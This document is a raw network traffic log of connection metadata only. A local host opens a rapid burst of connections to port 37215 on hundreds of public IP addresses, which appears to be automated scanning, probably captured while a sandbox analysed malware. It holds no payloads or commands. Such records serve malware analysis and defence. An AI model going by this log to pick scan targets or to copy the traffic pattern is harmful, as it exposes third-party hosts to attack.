Sep 25, 2024 14:14:17.087980032 CEST	46954	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:17.088433027 CEST	37215	40312	41.93.111.228	192.168.2.14
Sep 25, 2024 14:14:17.088485003 CEST	40312	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.088520050 CEST	46980	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:17.089085102 CEST	37215	51490	41.94.152.146	192.168.2.14
Sep 25, 2024 14:14:17.090197086 CEST	37215	34998	41.22.143.134	192.168.2.14
Sep 25, 2024 14:14:17.091572046 CEST	37215	45954	156.234.214.18	192.168.2.14
Sep 25, 2024 14:14:17.091671944 CEST	40312	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.092838049 CEST	37215	46954	156.205.204.61	192.168.2.14
Sep 25, 2024 14:14:17.093791008 CEST	37215	35702	197.216.45.82	192.168.2.14
Sep 25, 2024 14:14:17.093976021 CEST	36600	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:17.096555948 CEST	37215	40312	41.93.111.228	192.168.2.14
Sep 25, 2024 14:14:17.096606970 CEST	40312	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.098834038 CEST	37215	36600	41.141.238.167	192.168.2.14
Sep 25, 2024 14:14:17.098875999 CEST	36600	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:17.098932981 CEST	36600	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:17.098948956 CEST	36600	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:17.099915028 CEST	36602	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:17.103734970 CEST	37215	36600	41.141.238.167	192.168.2.14
Sep 25, 2024 14:14:17.105818987 CEST	37215	59828	197.211.167.22	192.168.2.14
Sep 25, 2024 14:14:17.121903896 CEST	37215	35810	197.84.75.37	192.168.2.14
Sep 25, 2024 14:14:17.125839949 CEST	37215	46666	156.237.235.153	192.168.2.14
Sep 25, 2024 14:14:17.125852108 CEST	37215	51564	197.37.51.50	192.168.2.14
Sep 25, 2024 14:14:17.133879900 CEST	37215	51490	41.94.152.146	192.168.2.14
Sep 25, 2024 14:14:17.133891106 CEST	37215	40264	41.93.111.228	192.168.2.14
Sep 25, 2024 14:14:17.133899927 CEST	37215	56738	41.93.99.103	192.168.2.14
Sep 25, 2024 14:14:17.133910894 CEST	37215	46954	156.205.204.61	192.168.2.14
Sep 25, 2024 14:14:17.133920908 CEST	37215	45954	156.234.214.18	192.168.2.14
Sep 25, 2024 14:14:17.133930922 CEST	37215	34998	41.22.143.134	192.168.2.14
Sep 25, 2024 14:14:17.149838924 CEST	37215	36600	41.141.238.167	192.168.2.14
Sep 25, 2024 14:14:17.590004921 CEST	35936	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.590006113 CEST	37344	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:17.590010881 CEST	44316	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:17.590018988 CEST	46936	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:17.590018988 CEST	37242	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:17.590022087 CEST	55806	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:17.590022087 CEST	34016	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:17.590027094 CEST	52320	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:17.590029955 CEST	38568	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:17.590034008 CEST	35680	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:17.590034962 CEST	37588	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:17.590034962 CEST	54954	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:17.590034962 CEST	39556	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:17.590034962 CEST	38240	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:17.590040922 CEST	55780	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:17.590046883 CEST	38458	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.590050936 CEST	60204	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:17.590050936 CEST	54734	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:17.590050936 CEST	42290	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:17.590051889 CEST	60224	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:17.590060949 CEST	35744	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:17.590061903 CEST	39212	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:17.590060949 CEST	41182	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:17.590064049 CEST	49578	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:17.590075970 CEST	41592	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:17.595026970 CEST	37215	44316	156.90.145.103	192.168.2.14
Sep 25, 2024 14:14:17.595077991 CEST	44316	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:17.595150948 CEST	44316	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:17.595195055 CEST	63353	37215	192.168.2.14	41.179.29.25
Sep 25, 2024 14:14:17.595195055 CEST	63353	37215	192.168.2.14	156.236.123.110
Sep 25, 2024 14:14:17.595195055 CEST	63353	37215	192.168.2.14	156.22.75.173
Sep 25, 2024 14:14:17.595201015 CEST	63353	37215	192.168.2.14	41.129.229.127
Sep 25, 2024 14:14:17.595206022 CEST	63353	37215	192.168.2.14	41.34.199.131
Sep 25, 2024 14:14:17.595208883 CEST	63353	37215	192.168.2.14	197.63.141.201
Sep 25, 2024 14:14:17.595215082 CEST	37215	35936	197.252.1.92	192.168.2.14
Sep 25, 2024 14:14:17.595226049 CEST	63353	37215	192.168.2.14	156.47.16.174
Sep 25, 2024 14:14:17.595228910 CEST	37215	37344	41.168.18.102	192.168.2.14
Sep 25, 2024 14:14:17.595238924 CEST	63353	37215	192.168.2.14	41.143.73.147
Sep 25, 2024 14:14:17.595236063 CEST	63353	37215	192.168.2.14	197.247.156.45
Sep 25, 2024 14:14:17.595237970 CEST	63353	37215	192.168.2.14	156.121.192.151
Sep 25, 2024 14:14:17.595240116 CEST	63353	37215	192.168.2.14	41.147.67.141
Sep 25, 2024 14:14:17.595240116 CEST	63353	37215	192.168.2.14	197.249.25.56
Sep 25, 2024 14:14:17.595244884 CEST	37215	38568	156.62.166.162	192.168.2.14
Sep 25, 2024 14:14:17.595254898 CEST	35936	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:17.595257998 CEST	37215	35680	156.156.225.97	192.168.2.14
Sep 25, 2024 14:14:17.595259905 CEST	63353	37215	192.168.2.14	41.203.244.102
Sep 25, 2024 14:14:17.595259905 CEST	63353	37215	192.168.2.14	197.23.22.202
Sep 25, 2024 14:14:17.595259905 CEST	63353	37215	192.168.2.14	41.141.191.35
Sep 25, 2024 14:14:17.595263958 CEST	37215	46936	156.118.30.32	192.168.2.14
Sep 25, 2024 14:14:17.595266104 CEST	63353	37215	192.168.2.14	197.137.26.164
Sep 25, 2024 14:14:17.595266104 CEST	63353	37215	192.168.2.14	41.119.203.233
Sep 25, 2024 14:14:17.595268011 CEST	37215	55806	197.177.63.21	192.168.2.14
Sep 25, 2024 14:14:17.595274925 CEST	63353	37215	192.168.2.14	156.47.21.204
Sep 25, 2024 14:14:17.595274925 CEST	37215	37242	41.33.63.180	192.168.2.14
Sep 25, 2024 14:14:17.595279932 CEST	37215	55780	197.57.233.63	192.168.2.14
Sep 25, 2024 14:14:17.595283031 CEST	63353	37215	192.168.2.14	156.90.80.79
Sep 25, 2024 14:14:17.595283985 CEST	63353	37215	192.168.2.14	41.26.48.97
Sep 25, 2024 14:14:17.595284939 CEST	37215	34016	41.162.5.27	192.168.2.14
Sep 25, 2024 14:14:17.595284939 CEST	37344	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:17.595287085 CEST	63353	37215	192.168.2.14	41.125.81.27
Sep 25, 2024 14:14:17.595287085 CEST	63353	37215	192.168.2.14	197.215.173.223
Sep 25, 2024 14:14:17.595297098 CEST	37215	52320	41.214.69.178	192.168.2.14
Sep 25, 2024 14:14:17.595314026 CEST	63353	37215	192.168.2.14	41.56.69.189
Sep 25, 2024 14:14:17.595316887 CEST	63353	37215	192.168.2.14	197.4.118.161
Sep 25, 2024 14:14:17.595316887 CEST	55780	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:17.595330000 CEST	46936	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:17.595330000 CEST	35680	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:17.595330000 CEST	37242	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:17.595330000 CEST	63353	37215	192.168.2.14	41.0.38.254
Sep 25, 2024 14:14:17.595330000 CEST	38568	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:17.595333099 CEST	63353	37215	192.168.2.14	197.157.170.15
Sep 25, 2024 14:14:17.595334053 CEST	63353	37215	192.168.2.14	156.41.194.40
Sep 25, 2024 14:14:17.595335960 CEST	63353	37215	192.168.2.14	41.47.101.176
Sep 25, 2024 14:14:17.595338106 CEST	63353	37215	192.168.2.14	197.190.246.216
Sep 25, 2024 14:14:17.595350027 CEST	63353	37215	192.168.2.14	156.214.228.52
Sep 25, 2024 14:14:17.595351934 CEST	63353	37215	192.168.2.14	156.101.234.111
Sep 25, 2024 14:14:17.595354080 CEST	63353	37215	192.168.2.14	41.29.134.12
Sep 25, 2024 14:14:17.595354080 CEST	63353	37215	192.168.2.14	41.72.138.252
Sep 25, 2024 14:14:17.595354080 CEST	63353	37215	192.168.2.14	197.49.132.137
Sep 25, 2024 14:14:17.595356941 CEST	55806	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:17.595356941 CEST	34016	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:17.595366001 CEST	63353	37215	192.168.2.14	197.230.96.135
Sep 25, 2024 14:14:17.595367908 CEST	63353	37215	192.168.2.14	156.21.46.129
Sep 25, 2024 14:14:17.595369101 CEST	52320	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:17.595371008 CEST	63353	37215	192.168.2.14	156.55.253.167
Sep 25, 2024 14:14:17.595371008 CEST	63353	37215	192.168.2.14	41.185.187.62
Sep 25, 2024 14:14:17.595371008 CEST	63353	37215	192.168.2.14	156.112.171.249
Sep 25, 2024 14:14:17.595391035 CEST	63353	37215	192.168.2.14	197.251.60.204
Sep 25, 2024 14:14:17.595402002 CEST	63353	37215	192.168.2.14	41.24.228.113
Sep 25, 2024 14:14:17.595405102 CEST	63353	37215	192.168.2.14	156.75.240.136
Sep 25, 2024 14:14:17.595405102 CEST	63353	37215	192.168.2.14	41.204.61.171
Sep 25, 2024 14:14:17.595405102 CEST	63353	37215	192.168.2.14	197.14.39.251
Sep 25, 2024 14:14:17.595407963 CEST	63353	37215	192.168.2.14	197.46.234.232
Sep 25, 2024 14:14:17.595411062 CEST	63353	37215	192.168.2.14	41.148.235.25
Sep 25, 2024 14:14:17.595413923 CEST	63353	37215	192.168.2.14	197.7.33.148
Sep 25, 2024 14:14:17.595422029 CEST	63353	37215	192.168.2.14	156.140.253.88
Sep 25, 2024 14:14:17.595424891 CEST	63353	37215	192.168.2.14	156.3.89.219
Sep 25, 2024 14:14:17.595426083 CEST	63353	37215	192.168.2.14	156.43.103.58
Sep 25, 2024 14:14:17.595429897 CEST	63353	37215	192.168.2.14	197.198.244.43
Sep 25, 2024 14:14:17.595432043 CEST	63353	37215	192.168.2.14	41.32.217.105
Sep 25, 2024 14:14:17.595432997 CEST	63353	37215	192.168.2.14	41.139.92.125
Sep 25, 2024 14:14:17.595444918 CEST	63353	37215	192.168.2.14	197.22.77.155
Sep 25, 2024 14:14:17.595444918 CEST	63353	37215	192.168.2.14	197.16.7.116
Sep 25, 2024 14:14:17.595452070 CEST	63353	37215	192.168.2.14	156.218.172.215
Sep 25, 2024 14:14:17.595453978 CEST	63353	37215	192.168.2.14	197.97.27.219
Sep 25, 2024 14:14:17.595463991 CEST	63353	37215	192.168.2.14	156.36.8.112
Sep 25, 2024 14:14:17.595464945 CEST	63353	37215	192.168.2.14	156.14.54.238
Sep 25, 2024 14:14:17.595479965 CEST	63353	37215	192.168.2.14	197.151.151.116
Sep 25, 2024 14:14:17.595479965 CEST	63353	37215	192.168.2.14	156.56.204.220
Sep 25, 2024 14:14:17.595479965 CEST	63353	37215	192.168.2.14	197.87.126.105
Sep 25, 2024 14:14:17.595483065 CEST	63353	37215	192.168.2.14	197.48.124.193
Sep 25, 2024 14:14:17.595483065 CEST	63353	37215	192.168.2.14	156.172.136.38
Sep 25, 2024 14:14:17.595488071 CEST	63353	37215	192.168.2.14	197.185.148.135
Sep 25, 2024 14:14:17.595496893 CEST	37215	38458	197.2.184.228	192.168.2.14
Sep 25, 2024 14:14:17.595501900 CEST	63353	37215	192.168.2.14	41.245.65.145
Sep 25, 2024 14:14:17.595501900 CEST	63353	37215	192.168.2.14	156.251.220.1
Sep 25, 2024 14:14:17.595504999 CEST	63353	37215	192.168.2.14	156.243.147.164
Sep 25, 2024 14:14:17.595509052 CEST	37215	60224	156.114.186.147	192.168.2.14
Sep 25, 2024 14:14:17.595515966 CEST	63353	37215	192.168.2.14	156.86.245.84
Sep 25, 2024 14:14:17.595519066 CEST	37215	60204	197.216.95.131	192.168.2.14
Sep 25, 2024 14:14:17.595520973 CEST	63353	37215	192.168.2.14	41.218.158.221
Sep 25, 2024 14:14:17.595524073 CEST	63353	37215	192.168.2.14	41.210.186.84
Sep 25, 2024 14:14:17.595530987 CEST	37215	37588	156.228.108.249	192.168.2.14
Sep 25, 2024 14:14:17.595539093 CEST	63353	37215	192.168.2.14	156.203.170.34
Sep 25, 2024 14:14:17.595539093 CEST	63353	37215	192.168.2.14	41.179.138.27
Sep 25, 2024 14:14:17.595540047 CEST	63353	37215	192.168.2.14	41.29.54.96
Sep 25, 2024 14:14:17.595540047 CEST	60224	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:17.595541954 CEST	37215	54734	156.26.49.169	192.168.2.14
Sep 25, 2024 14:14:17.595542908 CEST	63353	37215	192.168.2.14	156.248.71.30
Sep 25, 2024 14:14:17.595549107 CEST	38458	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:17.595554113 CEST	37215	42290	156.184.222.237	192.168.2.14
Sep 25, 2024 14:14:17.595563889 CEST	37215	39212	156.156.136.242	192.168.2.14
Sep 25, 2024 14:14:17.595566034 CEST	37588	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:17.595566034 CEST	60204	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:17.595566034 CEST	63353	37215	192.168.2.14	197.175.31.184
Sep 25, 2024 14:14:17.595566034 CEST	54734	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:17.595568895 CEST	63353	37215	192.168.2.14	197.160.108.2
Sep 25, 2024 14:14:17.595571995 CEST	63353	37215	192.168.2.14	41.197.125.213
Sep 25, 2024 14:14:17.595571995 CEST	63353	37215	192.168.2.14	41.84.32.128
Sep 25, 2024 14:14:17.595577002 CEST	37215	35744	41.141.77.117	192.168.2.14
Sep 25, 2024 14:14:17.595587015 CEST	42290	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:17.595588923 CEST	37215	41182	197.23.243.19	192.168.2.14
Sep 25, 2024 14:14:17.595588923 CEST	63353	37215	192.168.2.14	41.37.229.68
Sep 25, 2024 14:14:17.595596075 CEST	63353	37215	192.168.2.14	41.100.21.243
Sep 25, 2024 14:14:17.595601082 CEST	63353	37215	192.168.2.14	197.135.48.153
Sep 25, 2024 14:14:17.595611095 CEST	63353	37215	192.168.2.14	156.209.24.107
Sep 25, 2024 14:14:17.595613003 CEST	39212	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:17.595619917 CEST	35744	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:17.595619917 CEST	63353	37215	192.168.2.14	197.12.48.76
Sep 25, 2024 14:14:17.595619917 CEST	63353	37215	192.168.2.14	156.248.106.65
Sep 25, 2024 14:14:17.595621109 CEST	63353	37215	192.168.2.14	156.144.101.254
Sep 25, 2024 14:14:17.595622063 CEST	63353	37215	192.168.2.14	156.102.47.91
Sep 25, 2024 14:14:17.595622063 CEST	63353	37215	192.168.2.14	197.45.82.188
Sep 25, 2024 14:14:17.595622063 CEST	63353	37215	192.168.2.14	156.238.23.153
Sep 25, 2024 14:14:17.595632076 CEST	63353	37215	192.168.2.14	41.31.92.241
Sep 25, 2024 14:14:17.595632076 CEST	41182	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:17.595639944 CEST	63353	37215	192.168.2.14	197.154.131.138
Sep 25, 2024 14:14:17.595640898 CEST	63353	37215	192.168.2.14	41.244.2.215
Sep 25, 2024 14:14:17.595640898 CEST	63353	37215	192.168.2.14	197.70.14.83
Sep 25, 2024 14:14:17.595644951 CEST	63353	37215	192.168.2.14	197.65.141.144
Sep 25, 2024 14:14:17.595644951 CEST	63353	37215	192.168.2.14	156.21.254.180
Sep 25, 2024 14:14:17.595644951 CEST	63353	37215	192.168.2.14	156.207.31.228
Sep 25, 2024 14:14:17.595654964 CEST	63353	37215	192.168.2.14	41.78.249.64
Sep 25, 2024 14:14:17.595655918 CEST	37215	54954	156.180.191.247	192.168.2.14
Sep 25, 2024 14:14:17.595658064 CEST	63353	37215	192.168.2.14	156.119.242.65
Sep 25, 2024 14:14:17.595659018 CEST	63353	37215	192.168.2.14	41.169.20.35
Sep 25, 2024 14:14:17.595673084 CEST	63353	37215	192.168.2.14	41.34.135.149
Sep 25, 2024 14:14:17.595676899 CEST	63353	37215	192.168.2.14	197.115.95.159
Sep 25, 2024 14:14:17.595678091 CEST	63353	37215	192.168.2.14	41.13.10.27
Sep 25, 2024 14:14:17.595679045 CEST	63353	37215	192.168.2.14	41.162.22.67
Sep 25, 2024 14:14:17.595679045 CEST	37215	39556	156.156.122.8	192.168.2.14
Sep 25, 2024 14:14:17.595690966 CEST	63353	37215	192.168.2.14	197.42.134.244
Sep 25, 2024 14:14:17.595694065 CEST	37215	38240	41.163.125.164	192.168.2.14
Sep 25, 2024 14:14:17.595694065 CEST	63353	37215	192.168.2.14	197.253.77.97
Sep 25, 2024 14:14:17.595695019 CEST	63353	37215	192.168.2.14	156.140.222.156
Sep 25, 2024 14:14:17.595696926 CEST	54954	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:17.595699072 CEST	63353	37215	192.168.2.14	41.209.185.22
Sep 25, 2024 14:14:17.595699072 CEST	63353	37215	192.168.2.14	41.130.172.201
Sep 25, 2024 14:14:17.595705986 CEST	37215	41592	197.96.2.106	192.168.2.14
Sep 25, 2024 14:14:17.595709085 CEST	63353	37215	192.168.2.14	41.10.80.50
Sep 25, 2024 14:14:17.595719099 CEST	37215	49578	41.96.40.29	192.168.2.14
Sep 25, 2024 14:14:17.595719099 CEST	39556	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:17.595720053 CEST	63353	37215	192.168.2.14	41.68.58.51
Sep 25, 2024 14:14:17.595720053 CEST	63353	37215	192.168.2.14	156.18.20.241
Sep 25, 2024 14:14:17.595720053 CEST	63353	37215	192.168.2.14	41.2.43.169
Sep 25, 2024 14:14:17.595727921 CEST	63353	37215	192.168.2.14	197.105.69.204
Sep 25, 2024 14:14:17.595730066 CEST	63353	37215	192.168.2.14	41.128.63.62
Sep 25, 2024 14:14:17.595731974 CEST	38240	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:17.595737934 CEST	49578	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:17.595746994 CEST	63353	37215	192.168.2.14	156.25.27.135
Sep 25, 2024 14:14:17.595748901 CEST	63353	37215	192.168.2.14	156.111.127.99
Sep 25, 2024 14:14:17.595752001 CEST	41592	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:17.595752001 CEST	63353	37215	192.168.2.14	197.104.46.2
Sep 25, 2024 14:14:17.595762968 CEST	63353	37215	192.168.2.14	197.57.133.71
Sep 25, 2024 14:14:17.595768929 CEST	63353	37215	192.168.2.14	156.62.253.88
Sep 25, 2024 14:14:17.595771074 CEST	63353	37215	192.168.2.14	41.28.221.8
Sep 25, 2024 14:14:17.595771074 CEST	63353	37215	192.168.2.14	197.174.81.146
Sep 25, 2024 14:14:17.595788956 CEST	63353	37215	192.168.2.14	197.48.0.199
Sep 25, 2024 14:14:17.595789909 CEST	63353	37215	192.168.2.14	156.201.173.177
Sep 25, 2024 14:14:17.595791101 CEST	63353	37215	192.168.2.14	156.35.86.164
Sep 25, 2024 14:14:17.595793009 CEST	63353	37215	192.168.2.14	197.157.126.105
Sep 25, 2024 14:14:17.595798969 CEST	63353	37215	192.168.2.14	156.43.119.219
Sep 25, 2024 14:14:17.595802069 CEST	63353	37215	192.168.2.14	156.188.140.49
Sep 25, 2024 14:14:17.595812082 CEST	63353	37215	192.168.2.14	156.24.129.4
Sep 25, 2024 14:14:17.595817089 CEST	63353	37215	192.168.2.14	41.86.249.249
Sep 25, 2024 14:14:17.595817089 CEST	63353	37215	192.168.2.14	197.115.2.118
Sep 25, 2024 14:14:17.595817089 CEST	63353	37215	192.168.2.14	156.8.85.55
Sep 25, 2024 14:14:17.595829964 CEST	63353	37215	192.168.2.14	197.173.88.217
Sep 25, 2024 14:14:17.595830917 CEST	63353	37215	192.168.2.14	156.87.166.8
Sep 25, 2024 14:14:17.595834017 CEST	63353	37215	192.168.2.14	197.118.67.23
Sep 25, 2024 14:14:17.595835924 CEST	63353	37215	192.168.2.14	197.42.178.36
Sep 25, 2024 14:14:17.595846891 CEST	63353	37215	192.168.2.14	156.187.42.12
Sep 25, 2024 14:14:17.595846891 CEST	63353	37215	192.168.2.14	156.230.25.50
Sep 25, 2024 14:14:17.595850945 CEST	63353	37215	192.168.2.14	41.229.127.245
Sep 25, 2024 14:14:17.595850945 CEST	63353	37215	192.168.2.14	41.111.206.73
Sep 25, 2024 14:14:17.595864058 CEST	63353	37215	192.168.2.14	41.44.89.160
Sep 25, 2024 14:14:17.595865965 CEST	63353	37215	192.168.2.14	197.199.182.196
Sep 25, 2024 14:14:17.595865965 CEST	63353	37215	192.168.2.14	197.100.55.130
Sep 25, 2024 14:14:17.595865965 CEST	63353	37215	192.168.2.14	41.57.20.69
Sep 25, 2024 14:14:17.595870972 CEST	63353	37215	192.168.2.14	197.45.111.184
Sep 25, 2024 14:14:17.595874071 CEST	63353	37215	192.168.2.14	156.61.186.44
Sep 25, 2024 14:14:17.595887899 CEST	63353	37215	192.168.2.14	41.64.254.104
Sep 25, 2024 14:14:17.595890045 CEST	63353	37215	192.168.2.14	41.236.30.34
Sep 25, 2024 14:14:17.595890045 CEST	63353	37215	192.168.2.14	41.125.27.176
Sep 25, 2024 14:14:17.595890999 CEST	63353	37215	192.168.2.14	197.62.132.67
Sep 25, 2024 14:14:17.595895052 CEST	63353	37215	192.168.2.14	41.35.101.165
Sep 25, 2024 14:14:17.595906973 CEST	63353	37215	192.168.2.14	197.30.33.236
Sep 25, 2024 14:14:17.595921040 CEST	63353	37215	192.168.2.14	41.73.176.249
Sep 25, 2024 14:14:17.595921993 CEST	63353	37215	192.168.2.14	197.129.221.167
Sep 25, 2024 14:14:17.595925093 CEST	63353	37215	192.168.2.14	197.145.180.186
Sep 25, 2024 14:14:17.595928907 CEST	63353	37215	192.168.2.14	156.76.206.196
Sep 25, 2024 14:14:17.595931053 CEST	63353	37215	192.168.2.14	41.112.75.99
Sep 25, 2024 14:14:17.595931053 CEST	63353	37215	192.168.2.14	156.178.255.113
Sep 25, 2024 14:14:17.595937967 CEST	63353	37215	192.168.2.14	197.191.244.145
Sep 25, 2024 14:14:17.595938921 CEST	63353	37215	192.168.2.14	156.135.164.197
Sep 25, 2024 14:14:17.595974922 CEST	63353	37215	192.168.2.14	156.241.33.0
Sep 25, 2024 14:14:17.596240997 CEST	49754	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:17.596590042 CEST	38568	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:17.596591949 CEST	37588	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:17.596610069 CEST	52320	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:17.596611023 CEST	46936	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:17.596611023 CEST	37242	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:17.596617937 CEST	35680	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:17.596681118 CEST	60224	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:17.596930027 CEST	44440	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:17.597526073 CEST	38436	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:17.598090887 CEST	56934	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:17.598952055 CEST	37670	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:17.599838018 CEST	41248	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:17.600547075 CEST	37215	63353	41.179.29.25	192.168.2.14
Sep 25, 2024 14:14:17.600605965 CEST	63353	37215	192.168.2.14	41.179.29.25
Sep 25, 2024 14:14:17.600624084 CEST	37215	63353	156.236.123.110	192.168.2.14
Sep 25, 2024 14:14:17.600636005 CEST	37215	63353	41.129.229.127	192.168.2.14
Sep 25, 2024 14:14:17.600647926 CEST	37215	63353	156.22.75.173	192.168.2.14
Sep 25, 2024 14:14:17.600657940 CEST	63353	37215	192.168.2.14	156.236.123.110
Sep 25, 2024 14:14:17.600682020 CEST	63353	37215	192.168.2.14	41.129.229.127
Sep 25, 2024 14:14:17.600686073 CEST	37215	63353	41.34.199.131	192.168.2.14
Sep 25, 2024 14:14:17.600692987 CEST	63353	37215	192.168.2.14	156.22.75.173
Sep 25, 2024 14:14:17.600697041 CEST	37215	44316	156.90.145.103	192.168.2.14
Sep 25, 2024 14:14:17.600701094 CEST	42992	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:17.600719929 CEST	37215	63353	197.63.141.201	192.168.2.14
Sep 25, 2024 14:14:17.600720882 CEST	63353	37215	192.168.2.14	41.34.199.131
Sep 25, 2024 14:14:17.600730896 CEST	37215	63353	156.47.16.174	192.168.2.14
Sep 25, 2024 14:14:17.600737095 CEST	44316	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:17.600743055 CEST	37215	63353	41.143.73.147	192.168.2.14
Sep 25, 2024 14:14:17.600754023 CEST	37215	63353	197.247.156.45	192.168.2.14
Sep 25, 2024 14:14:17.600764990 CEST	37215	63353	156.121.192.151	192.168.2.14
Sep 25, 2024 14:14:17.600768089 CEST	63353	37215	192.168.2.14	197.63.141.201
Sep 25, 2024 14:14:17.600768089 CEST	63353	37215	192.168.2.14	156.47.16.174
Sep 25, 2024 14:14:17.600775957 CEST	37215	63353	41.147.67.141	192.168.2.14
Sep 25, 2024 14:14:17.600785971 CEST	63353	37215	192.168.2.14	41.143.73.147
Sep 25, 2024 14:14:17.600786924 CEST	37215	63353	197.249.25.56	192.168.2.14
Sep 25, 2024 14:14:17.600786924 CEST	63353	37215	192.168.2.14	197.247.156.45
Sep 25, 2024 14:14:17.600797892 CEST	37215	63353	41.119.203.233	192.168.2.14
Sep 25, 2024 14:14:17.600800991 CEST	63353	37215	192.168.2.14	156.121.192.151
Sep 25, 2024 14:14:17.600809097 CEST	37215	63353	197.137.26.164	192.168.2.14
Sep 25, 2024 14:14:17.600819111 CEST	63353	37215	192.168.2.14	41.147.67.141
Sep 25, 2024 14:14:17.600819111 CEST	63353	37215	192.168.2.14	197.249.25.56
Sep 25, 2024 14:14:17.600820065 CEST	37215	63353	41.203.244.102	192.168.2.14
Sep 25, 2024 14:14:17.600831032 CEST	37215	63353	197.23.22.202	192.168.2.14
Sep 25, 2024 14:14:17.600832939 CEST	63353	37215	192.168.2.14	41.119.203.233
Sep 25, 2024 14:14:17.600836039 CEST	63353	37215	192.168.2.14	197.137.26.164
Sep 25, 2024 14:14:17.600841999 CEST	37215	63353	41.141.191.35	192.168.2.14
Sep 25, 2024 14:14:17.600850105 CEST	63353	37215	192.168.2.14	41.203.244.102
Sep 25, 2024 14:14:17.600852013 CEST	37215	63353	156.47.21.204	192.168.2.14
Sep 25, 2024 14:14:17.600862026 CEST	37215	63353	41.26.48.97	192.168.2.14
Sep 25, 2024 14:14:17.600867033 CEST	63353	37215	192.168.2.14	197.23.22.202
Sep 25, 2024 14:14:17.600867033 CEST	63353	37215	192.168.2.14	41.141.191.35
Sep 25, 2024 14:14:17.600872993 CEST	37215	63353	156.90.80.79	192.168.2.14
Sep 25, 2024 14:14:17.600878000 CEST	63353	37215	192.168.2.14	156.47.21.204
Sep 25, 2024 14:14:17.600884914 CEST	37215	63353	41.125.81.27	192.168.2.14
Sep 25, 2024 14:14:17.600892067 CEST	63353	37215	192.168.2.14	41.26.48.97
Sep 25, 2024 14:14:17.600895882 CEST	37215	63353	197.215.173.223	192.168.2.14
Sep 25, 2024 14:14:17.600905895 CEST	37215	63353	41.56.69.189	192.168.2.14
Sep 25, 2024 14:14:17.600915909 CEST	37215	63353	197.4.118.161	192.168.2.14
Sep 25, 2024 14:14:17.600917101 CEST	63353	37215	192.168.2.14	156.90.80.79
